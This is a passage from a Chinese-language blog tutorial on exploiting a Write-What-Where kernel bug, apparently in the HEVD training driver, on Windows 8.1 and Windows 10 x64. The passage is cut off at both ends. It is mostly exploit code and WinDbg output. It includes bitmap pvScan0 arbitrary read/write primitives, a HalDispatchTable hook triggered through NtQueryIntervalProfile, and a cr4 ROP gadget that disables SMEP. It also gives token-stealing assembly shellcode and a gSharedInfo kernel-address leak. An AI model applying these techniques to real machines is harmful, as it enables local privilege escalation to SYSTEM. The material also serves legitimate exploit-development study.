class="line">&#125;</span><br></pre></td></tr></table></figure><p>让我们平复一下激动的心情，我们现在有了任意读和写的机会了，我们只需要将我们的ROPgadgets写入我们需要Hook的位置，然后调用问题函数执行shellcode就行了，这里我们需要注意的是，我们还需要调整调整堆栈的一些信息，不然很容易就蓝屏了，这里我们进行三次读写操作</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">readOOB(Hal_hook_address, &amp;lpRealHooAddress, <span class="keyword">sizeof</span>(LPVOID));  <span class="comment">// 保存Hook地址</span></span><br><span class="line">writeOOB(Hal_hook_address, (LPVOID)ROPgadgets, <span class="keyword">sizeof</span>(DWORD64));<span class="comment">// 写入ROPgadgets</span></span><br><span class="line"><span class="comment">//调用问题函数</span></span><br><span class="line">writeOOB(Hal_hook_address, (LPVOID)lpRealHooAddress, <span class="keyword">sizeof</span>(DWORD64)); <span class="comment">// 还原Hook地址,不然会蓝屏</span></span><br></pre></td></tr></table></figure><h2 id="整合思路"><a href="#整合思路" class="headerlink" title="整合思路"></a>整合思路</h2><p>我们最后整合一下思路</p><ul><li>初始化句柄等结构</li><li>内核中构造放置我们的shellcode</li><li>申请两个Bitmap并泄露Bitmap中的pvScan0</li><li>调用<code>TriggerArbitraryOverwrite</code>函数将一个pvScan0指向另一个pvScan0</li><li>两次读写实现写入ROPgadgets</li><li>调用<code>NtQueryIntervalProfile</code>问题函数</li><li>一次写入操作实现还原Hook地址的内容</li></ul><p>最后整合一下代码即可实现利用，整体代码和验证结果参考 =&gt; <a href="https://github.com/ThunderJie/Write-What-Where" target="_blank" rel="noopener">这里</a></p><h1 id="0x03：Windows-8-1-x64的一个坑"><a href="#0x03：Windows-8-1-x64的一个坑" class="headerlink" title="0x03：Windows 8.1 x64的一个坑"></a>0x03：Windows 8.1 x64的一个坑</h1><p>首先我们回顾一下我们在上面的利用中可能存在的一个坑</p><p><strong>Shellcode的构造</strong></p><p>上篇我只是简单提了一下内核中构造放置我们的shellcode，如果你看了我的源码，里面的构造函数如下所示：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">VOID <span class="title">ConstrutShellcode</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Start to construt Shellcode\n"</span>);</span><br><span class="line">VOID* shellAddr = (<span class="keyword">void</span>*)<span class="number">0x100000</span>;</span><br><span class="line">shellAddr = VirtualAlloc(shellAddr, <span class="number">0x1000</span>, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);</span><br><span class="line"><span class="built_in">memset</span>(shellAddr, <span class="number">0x41</span>, <span class="number">0x1000</span>);</span><br><span class="line">CopyMemory((VOID*)<span class="number">0x100300</span>, ShellCode, <span class="number">0x200</span>);</span><br><span class="line"><span class="comment">//__debugbreak();</span></span><br><span class="line">UINT64* recoverAddr = (UINT64*)((PBYTE)(<span class="number">0x100300</span>) + <span class="number">0x44</span>);</span><br><span class="line">*(recoverAddr) = (DWORD64)ntoskrnlbase() + <span class="number">0x4c8f75</span>; <span class="comment">// nt!KeQueryIntervalProfile+0x25</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>你可能会疑惑<code>recoverAddr</code>这个东西是拿来做什么用的，先不要着急我们在看看我们shellcode的实现：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">.code</span><br><span class="line">ShellCode proc</span><br><span class="line">; shellcode编写</span><br><span class="line">mov rax, gs:[188h]</span><br><span class="line">mov rax, [rax+220h]</span><br><span class="line">movrcx, rax</span><br><span class="line">movrdx, 4</span><br><span class="line"></span><br><span class="line">findSystemPid:</span><br><span class="line">movrax, [rax+2e8h]</span><br><span class="line">subrax, 2e8h</span><br><span class="line">cmp[rax+2e0h], rdx</span><br><span class="line">jnz findSystemPid</span><br><span class="line"></span><br><span class="line">mov rdx, [rax+348h]</span><br><span class="line">mov [rcx+348h], rdx</span><br><span class="line">sub rsp,30h;堆栈平衡</span><br><span class="line">mov rax, 0aaaaaaaaaaaaaaaah ;这个位置放进入Gadgets返回后的后半部分函数</span><br><span class="line">mov [rsp], rax</span><br><span class="line">ret</span><br><span class="line"></span><br><span class="line">ShellCode endp</span><br><span class="line">end</span><br></pre></td></tr></table></figure><p>从上面可以看到，我在最后的地方用了几句汇编将堆栈平衡了，这其实是我调试了很久才得到的结果，我简单提一下这个过程，首先我们知道我们把shellcode放置在了0x100300的位置，我们还知道我们需要执行我们的ROP，所以我们需要在windbg中下两个硬件断点观察，注意shellcode中不能用int 3下软件断点，这样会修改堆栈的平衡导致一些问题</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; u nt!KiConfigureDynamicProcessor+0x40</span><br><span class="line">nt!KiConfigureDynamicProcessor+0x40:</span><br><span class="line">fffff803`20ffe7cc 0f22e0          mov     cr4,rax</span><br><span class="line">fffff803`20ffe7cf 4883c428        add     rsp,28h</span><br><span class="line">fffff803`20ffe7d3 c3              ret</span><br><span class="line">...</span><br><span class="line">1: kd&gt; ba e1 fffff803`20ffe7cc</span><br><span class="line">1: kd&gt; u 100300</span><br><span class="line">00000000`00100300 65488b042588010000 mov   rax,qword ptr gs:[188h]</span><br><span class="line">00000000`00100309 488b8020020000  mov     rax,qword ptr [rax+220h]</span><br><span class="line">00000000`00100310 488bc8          mov     rcx,rax</span><br><span class="line">...</span><br><span class="line">1: kd&gt; ba e1 00000000`00100300</span><br></pre></td></tr></table></figure><p>我们g运行到第一个断点，t单步到ret处，查看堆栈结构和我们现在rc4寄存器的值，可以发现我们的寄存器已经被修改</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; g</span><br><span class="line">Breakpoint 0 hit</span><br><span class="line">nt!KiConfigureDynamicProcessor+0x40:</span><br><span class="line">fffff803`20ffe7cc 0f22e0          mov     cr4,rax</span><br><span class="line">1: kd&gt; t</span><br><span class="line">nt!KiConfigureDynamicProcessor+0x43:</span><br><span class="line">fffff803`20ffe7cf 4883c428        add     rsp,28h</span><br><span class="line">1: kd&gt; t</span><br><span class="line">nt!KiConfigureDynamicProcessor+0x47:</span><br><span class="line">fffff803`20ffe7d3 c3              ret</span><br><span class="line">1: kd&gt; dqs rsp</span><br><span class="line">ffffd000`27acf9a0  00000000`00100300</span><br><span class="line">ffffd000`27acf9a8  00000000`00000000</span><br><span class="line">ffffd000`27acf9b0  00000000`00000000</span><br><span class="line">ffffd000`27acf9b8  00000000`00000000</span><br><span class="line">ffffd000`27acf9c0  00000000`00000000</span><br><span class="line">ffffd000`27acf9c8  fffff803`2114ff36 nt!NtQueryIntervalProfile+0x3e</span><br><span class="line">ffffd000`27acf9d0  00000000`00000000</span><br><span class="line">ffffd000`27acf9d8  00000000`00000000</span><br><span class="line">ffffd000`27acf9e0  00000000`00000000</span><br><span class="line">ffffd000`27acf9e8  00000000`00000000</span><br><span class="line">ffffd000`27acf9f0  00000000`00000000</span><br><span class="line">ffffd000`27acf9f8  fffff803`20de28b3 nt!KiSystemServiceCopyEnd+0x13</span><br><span class="line">ffffd000`27acfa00  ffffe000`01b9a4c0</span><br><span class="line">ffffd000`27acfa08  00007ffe`00000008</span><br><span class="line">ffffd000`27acfa10  ffffffff`fff85ee0</span><br><span class="line">ffffd000`27acfa18  ffffd000`00000008</span><br><span class="line">1: kd&gt; r cr4</span><br><span class="line">cr4=00000000000406f8</span><br></pre></td></tr></table></figure><p>我们t单步再次观察堆栈，这里已经开始执行我们的shellcode了</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; t</span><br><span class="line">00000000`00100300 65488b042588010000 mov   rax,qword ptr gs:[188h]</span><br><span class="line">1: kd&gt; dqs rsp</span><br><span class="line">ffffd000`27acf9a8  00000000`00000000</span><br><span class="line">ffffd000`27acf9b0  00000000`00000000</span><br><span class="line">ffffd000`27acf9b8  00000000`00000000</span><br><span class="line">ffffd000`27acf9c0  00000000`00000000</span><br><span class="line">ffffd000`27acf9c8  fffff803`2114ff36 nt!NtQueryIntervalProfile+0x3e</span><br><span class="line">ffffd000`27acf9d0  00000000`00000000</span><br><span class="line">ffffd000`27acf9d8  00000000`00000000</span><br><span class="line">ffffd000`27acf9e0  00000000`00000000</span><br><span class="line">ffffd000`27acf9e8  00000000`00000000</span><br><span class="line">ffffd000`27acf9f0  00000000`00000000</span><br><span class="line">ffffd000`27acf9f8  fffff803`20de28b3 nt!KiSystemServiceCopyEnd+0x13</span><br><span class="line">ffffd000`27acfa00  ffffe000`01b9a4c0</span><br><span class="line">ffffd000`27acfa08  00007ffe`00000008</span><br><span class="line">ffffd000`27acfa10  ffffffff`fff85ee0</span><br><span class="line">ffffd000`27acfa18  ffffd000`00000008</span><br><span class="line">ffffd000`27acfa20  000000bf`00000000</span><br></pre></td></tr></table></figure><p>我们继续单步运行到shellcode中<code>sub rsp,30h</code>的位置，查看堆栈之后继续单步，我们可以看到rsp中内容被修改为了0x010033e，而0x010033e中存放的内容正是我们<code>nt!KeQueryIntervalProfile+0x25</code>中的值</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; t</span><br><span class="line">00000000`0010033e 4883ec30        sub     rsp,30h</span><br><span class="line">1: kd&gt; dqs rsp</span><br><span class="line">ffffd000`27acf9a8  00000000`00000000</span><br><span class="line">ffffd000`27acf9b0  00000000`00000000</span><br><span class="line">ffffd000`27acf9b8  00000000`00000000</span><br><span class="line">ffffd000`27acf9c0  00000000`00000000</span><br><span class="line">ffffd000`27acf9c8  fffff803`2114ff36 nt!NtQueryIntervalProfile+0x3e</span><br><span class="line">ffffd000`27acf9d0  00000000`00000000</span><br><span class="line">ffffd000`27acf9d8  00000000`00000000</span><br><span class="line">ffffd000`27acf9e0  00000000`00000000</span><br><span class="line">ffffd000`27acf9e8  00000000`00000000</span><br><span class="line">ffffd000`27acf9f0  00000000`00000000</span><br><span class="line">ffffd000`27acf9f8  fffff803`20de28b3 nt!KiSystemServiceCopyEnd+0x13</span><br><span class="line">ffffd000`27acfa00  ffffe000`01b9a4c0</span><br><span class="line">ffffd000`27acfa08  00007ffe`00000008</span><br><span class="line">ffffd000`27acfa10  ffffffff`fff85ee0</span><br><span class="line">ffffd000`27acfa18  ffffd000`00000008</span><br><span class="line">ffffd000`27acfa20  000000bf`00000000</span><br><span class="line">1: kd&gt; t</span><br><span class="line">00000000`00100342 48b875ff142103f8ffff mov rax,offset nt!KeQueryIntervalProfile+0x25 (fffff803`2114ff75)</span><br><span class="line">1: kd&gt; dqs rsp</span><br><span class="line">ffffd000`27acf978  00000000`0010033e</span><br><span class="line">ffffd000`27acf980  00000000`00000010</span><br><span class="line">ffffd000`27acf988  00000000`00000344</span><br><span class="line">ffffd000`27acf990  ffffd000`27acf9a8</span><br><span class="line">ffffd000`27acf998  00000000`00000018</span><br><span class="line">ffffd000`27acf9a0  00000000`00100300</span><br><span class="line">ffffd000`27acf9a8  00000000`00000000</span><br><span class="line">ffffd000`27acf9b0  00000000`00000000</span><br><span class="line">ffffd000`27acf9b8  00000000`00000000</span><br><span class="line">ffffd000`27acf9c0  00000000`00000000</span><br><span class="line">ffffd000`27acf9c8  fffff803`2114ff36 nt!NtQueryIntervalProfile+0x3e</span><br><span class="line">ffffd000`27acf9d0  00000000`00000000</span><br><span class="line">ffffd000`27acf9d8  00000000`00000000</span><br><span class="line">ffffd000`27acf9e0  00000000`00000000</span><br><span class="line">ffffd000`27acf9e8  00000000`00000000</span><br><span class="line">ffffd000`27acf9f0  00000000`00000000</span><br><span class="line">1: kd&gt; u 00000000`0010033e</span><br><span class="line">00000000`0010033e 4883ec30        sub     rsp,30h</span><br><span class="line">00000000`00100342 48b875ff142103f8ffff mov rax,offset nt!KeQueryIntervalProfile+0x25 (fffff803`2114ff75)</span><br><span class="line">00000000`0010034c 48890424        mov     qword ptr [rsp],rax</span><br><span class="line">00000000`00100350 c3              ret</span><br><span class="line">00000000`00100351 cc              int     3</span><br><span class="line">00000000`00100352 cc              int     3</span><br><span class="line">00000000`00100353 cc              int     3</span><br><span class="line">00000000`00100354 cc              int     3</span><br></pre></td></tr></table></figure><p><code>nt!KeQueryIntervalProfile+0x25</code>是哪里呢，这个值刚好是我们Hook位置的下一句汇编，我们将其放回原位即可做到原封不动的还原内核函数，这样就可以完美的提权而不蓝屏</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">0: kd&gt; u nt!KeQueryIntervalProfile</span><br><span class="line">nt!KeQueryIntervalProfile:</span><br><span class="line">fffff803`2114ff50 4883ec48        sub     rsp,48h</span><br><span class="line">fffff803`2114ff54 83f901          cmp     ecx,1</span><br><span class="line">fffff803`2114ff57 7430            je      nt!KeQueryIntervalProfile+0x39 (fffff803`2114ff89)</span><br><span class="line">fffff803`2114ff59 ba18000000      mov     edx,18h</span><br><span class="line">fffff803`2114ff5e 894c2420        mov     dword ptr [rsp+20h],ecx</span><br><span class="line">fffff803`2114ff62 4c8d4c2450      lea     r9,[rsp+50h]</span><br><span class="line">fffff803`2114ff67 8d4ae9          lea     ecx,[rdx-17h]</span><br><span class="line">fffff803`2114ff6a 4c8d442420      lea     r8,[rsp+20h]</span><br><span class="line">0: kd&gt; u</span><br><span class="line">nt!KeQueryIntervalProfile+0x1f:</span><br><span class="line">fffff803`2114ff6f ff15f377ddff    call    qword ptr [nt!HalDispatchTable+0x8 (fffff803`20f27768)]</span><br><span class="line">fffff803`2114ff75 85c0            test    eax,eax // nt!KeQueryIntervalProfile+0x25</span><br><span class="line">fffff803`2114ff77 7818            js      nt!KeQueryIntervalProfile+0x41 (fffff803`2114ff91)</span><br><span class="line">fffff803`2114ff79 807c242400      cmp     byte ptr [rsp+24h],0</span><br><span class="line">fffff803`2114ff7e 7411            je      nt!KeQueryIntervalProfile+0x41 (fffff803`2114ff91)</span><br><span class="line">fffff803`2114ff80 8b442428        mov     eax,dword ptr [rsp+28h]</span><br><span class="line">fffff803`2114ff84 4883c448        add     rsp,48h</span><br><span class="line">fffff803`2114ff88 c3              ret</span><br></pre></td></tr></table></figure><h1 id="0x02：Windows-10-1511-1607-x64下的利用"><a href="#0x02：Windows-10-1511-1607-x64下的利用" class="headerlink" title="0x02：Windows 10 1511-1607 x64下的利用"></a>0x02：Windows 10 1511-1607 x64下的利用</h1><p>好了我们整理完了win 8.1下的一些坑我们开始我们在win10中的利用，win8.1中最浪费时间的操作便是堆栈的平衡问题，那我们可不可以有更简单的方法提权呢？当然有的，我们都有任意读写的权限了不是吗，既然有任意读写的权限，那么我们完全可以用任意读写的操作实现对token的替换，我们甚至不用我们的shellcode都可以提权，这种做法非常的简便，并不需要考虑shellcode在内核中运行遇到的堆栈平衡问题，我们的关键点始终还是在泄露pvScan0的地方，我们在win 10 1607和win 10 1511中观察一下我们创建的Bitmap结构，和win 8.1进行比较，构造如下代码片段</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">HBITMAP hBitmap = CreateBitmap(<span class="number">0x10</span>, <span class="number">2</span>, <span class="number">1</span>, <span class="number">8</span>, <span class="literal">NULL</span>);</span><br><span class="line">__debugbreak();</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>Win 8.1 x64</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">0: kd&gt; dt ntdll!_PEB -b GdiSharedHandleTable @$Peb</span><br><span class="line">   +0x0f8 GdiSharedHandleTable : 0x000000c4`d0540000 </span><br><span class="line">0: kd&gt; ? rax&amp;ffff</span><br><span class="line">Evaluate expression: 1984 = 00000000`000007c0</span><br><span class="line">0: kd&gt; dq 0x000000c4`d0540000+0x18*7c0</span><br><span class="line">000000c4`d054ba00  fffff901`40701010 40053105`00000c3c</span><br><span class="line">000000c4`d054ba10  00000000`00000000 fffff901`43c5d010</span><br><span class="line">000000c4`d054ba20  40012201`00000c3c 000000c4`d0170b60</span><br><span class="line">000000c4`d054ba30  fffff901`446c4190 41051405`00000000</span><br><span class="line">000000c4`d054ba40  00000000`00000000 fffff901`400d6ab0</span><br><span class="line">000000c4`d054ba50  40084308`00000000 00000000`00000000</span><br><span class="line">000000c4`d054ba60  00000000`00000776 44003501`00000000</span><br><span class="line">000000c4`d054ba70  00000000`00000000 fffff901`407e6010</span><br><span class="line">0: kd&gt; dq fffff901`40701010</span><br><span class="line">fffff901`40701010  00000000`310507c0 80000000`00000000</span><br><span class="line">fffff901`40701020  00000000`00000000 00000000`00000000</span><br><span class="line">fffff901`40701030  00000000`310507c0 00000000`00000000</span><br><span class="line">fffff901`40701040  00000000`00000000 00000002`00000010</span><br><span class="line">fffff901`40701050  00000000`00000020 fffff901`40701268</span><br><span class="line">fffff901`40701060  fffff901`40701268 00002472`00000010</span><br><span class="line">fffff901`40701070  00010000`00000003 00000000`00000000</span><br><span class="line">fffff901`40701080  00000000`04800200 00000000`00000000</span><br></pre></td></tr></table></figure><p><strong>Win 10 1511 x64</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">0: kd&gt; dt ntdll!_PEB -b GdiSharedHandleTable @$Peb</span><br><span class="line">   +0x0f8 GdiSharedHandleTable : 0x00000216`aa740000 </span><br><span class="line">0: kd&gt; ? rax&amp;ffff</span><br><span class="line">Evaluate expression: 2711 = 00000000`00000a97</span><br><span class="line">0: kd&gt; dq 0x00000216`aa740000+0x18*a97</span><br><span class="line">00000216`aa74fe28  fffff901`4222aca0 4005e605`00000dec</span><br><span class="line">00000216`aa74fe38  00000000`00000000 00000000`00000936</span><br><span class="line">00000216`aa74fe48  40004205`00000000 00000000`00000000</span><br><span class="line">00000216`aa74fe58  00000000`00000a98 40004105`00000000</span><br><span class="line">00000216`aa74fe68  00000000`00000000 fffff901`441e4380</span><br><span class="line">00000216`aa74fe78  40102310`000006c8 000001fc`d4640fc0</span><br><span class="line">00000216`aa74fe88  00000000`00000abf 40008404`00000000</span><br><span class="line">00000216`aa74fe98  00000000`00000000 fffff901`406d94d0</span><br><span class="line">0: kd&gt; dq fffff901`4222aca0</span><br><span class="line">fffff901`4222aca0  ffffffff`e6050a97 80000000`00000000</span><br><span class="line">fffff901`4222acb0  00000000`00000000 00000000`00000000</span><br><span class="line">fffff901`4222acc0  ffffffff`e6050a97 00000000`00000000</span><br><span class="line">fffff901`4222acd0  00000000`00000000 00000002`00000010</span><br><span class="line">fffff901`4222ace0  00000000`00000020 fffff901`4222aef8</span><br><span class="line">fffff901`4222acf0  fffff901`4222aef8 00008999`00000010</span><br><span class="line">fffff901`4222ad00  00010000`00000003 00000000`00000000</span><br><span class="line">fffff901`4222ad10  00000000`04800200 00000000`00000000</span><br></pre></td></tr></table></figure><p><strong>Win 10 1607 x64</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">3: kd&gt; dt ntdll!_PEB -b GdiSharedHandleTable @$Peb</span><br><span class="line">   +0x0f8 GdiSharedHandleTable : 0x0000023e`1a210000 </span><br><span class="line">3: kd&gt; ? rax&amp;ffff</span><br><span class="line">Evaluate expression: 3111 = 00000000`00000c27</span><br><span class="line">3: kd&gt; dq 0x0000023e`1a210000+0x18*c27</span><br><span class="line">0000023e`1a2223a8  ffffffff`ff540c27 00055405`00001a20</span><br><span class="line">0000023e`1a2223b8  00000000`00000000 00000000`00000b3e</span><br><span class="line">0000023e`1a2223c8  0000600a`00000001 00000000`00000000</span><br><span class="line">0000023e`1a2223d8  00000000`00000a90 00004104`00000001</span><br><span class="line">0000023e`1a2223e8  00000000`00000000 00000000`00000aea</span><br><span class="line">0000023e`1a2223f8  00003505`00000001 00000000`00000000</span><br><span class="line">0000023e`1a222408  ffffffff`ff810c2b 00018101`00000918</span><br><span class="line">0000023e`1a222418  0000019d`678a0820 00000000`00000acc</span><br><span class="line">3: kd&gt; dq ffffffff`ff540c27</span><br><span class="line">ffffffff`ff540c27  ????????`???????? ????????`????????</span><br><span class="line">ffffffff`ff540c37  ????????`???????? ????????`????????</span><br><span class="line">ffffffff`ff540c47  ????????`???????? ????????`????????</span><br><span class="line">ffffffff`ff540c57  ????????`???????? ????????`????????</span><br><span class="line">ffffffff`ff540c67  ????????`???????? ????????`????????</span><br><span class="line">ffffffff`ff540c77  ????????`???????? ????????`????????</span><br><span class="line">ffffffff`ff540c87  ????????`???????? ????????`????????</span><br><span class="line">ffffffff`ff540c97  ????????`???????? ????????`????????</span><br></pre></td></tr></table></figure><p>实验中很明显的发现win 10 1607中我们的<code>GdiShreadHanldleTable</code>已经不是一个指针了，我们来看看有什么升级，图片中说明了已经不能够公开这个句柄表的地址了,那是不是就没办法了呢?</p><p><img src="/2019/08/19/www漏洞从win7-win10/12.png" alt="1564987015367"></p><p>当然不是!我们总能够通过各种方法来泄露我们的 PrvScan0 ，这里就需要引入另外一个比较神奇的结构<code>gSharedInfo</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">SHAREDINFO</span> &#123;</span></span><br><span class="line">PSERVERINFO psi;</span><br><span class="line">PUSER_HANDLE_ENTRY aheList;</span><br><span class="line">ULONG HeEntrySize;</span><br><span class="line">ULONG_PTR pDispInfo;</span><br><span class="line">ULONG_PTR ulSharedDelts;</span><br><span class="line">ULONG_PTR awmControl;</span><br><span class="line">ULONG_PTR DefWindowMsgs;</span><br><span class="line">ULONG_PTR DefWindowSpecMsgs;</span><br><span class="line">&#125; SHAREDINFO, * PSHAREDINFO;</span><br></pre></td></tr></table></figure><p>其中的 <code>aheList</code> 结构如下，里面就保存了一个 pKernel 的指针，指向这个句柄的内核地址</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">USER_HANDLE_ENTRY</span> &#123;</span></span><br><span class="line"><span class="keyword">void</span>* pKernel;</span><br><span class="line"><span class="keyword">union</span></span><br><span class="line">&#123;</span><br><span class="line">PVOID pi;</span><br><span class="line">PVOID pti;</span><br><span class="line">PVOID ppi;</span><br><span class="line">&#125;;</span><br><span class="line">BYTE type;</span><br><span class="line">BYTE flags;</span><br><span class="line">WORD generation;</span><br><span class="line">&#125; USER_HANDLE_ENTRY, * PUSER_HANDLE_ENTRY;</span><br></pre></td></tr></table></figure><p>先不管三七二十一，我们先泄露这个东西，再看看和我们的 Bitmap 有什么联系，关键代码如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">LPACCEL lPaccel = <span class="literal">NULL</span>;</span><br><span class="line">PUSER_HANDLE_ENTRY leakaddr = <span class="literal">NULL</span>;</span><br><span class="line">HMODULE huser32 = <span class="literal">NULL</span>;</span><br><span class="line">HACCEL hAccel = <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">int</span> nSize = <span class="number">700</span>;</span><br><span class="line"></span><br><span class="line">lPaccel = (LPACCEL)LocalAlloc(LPTR, <span class="keyword">sizeof</span>(ACCEL) * 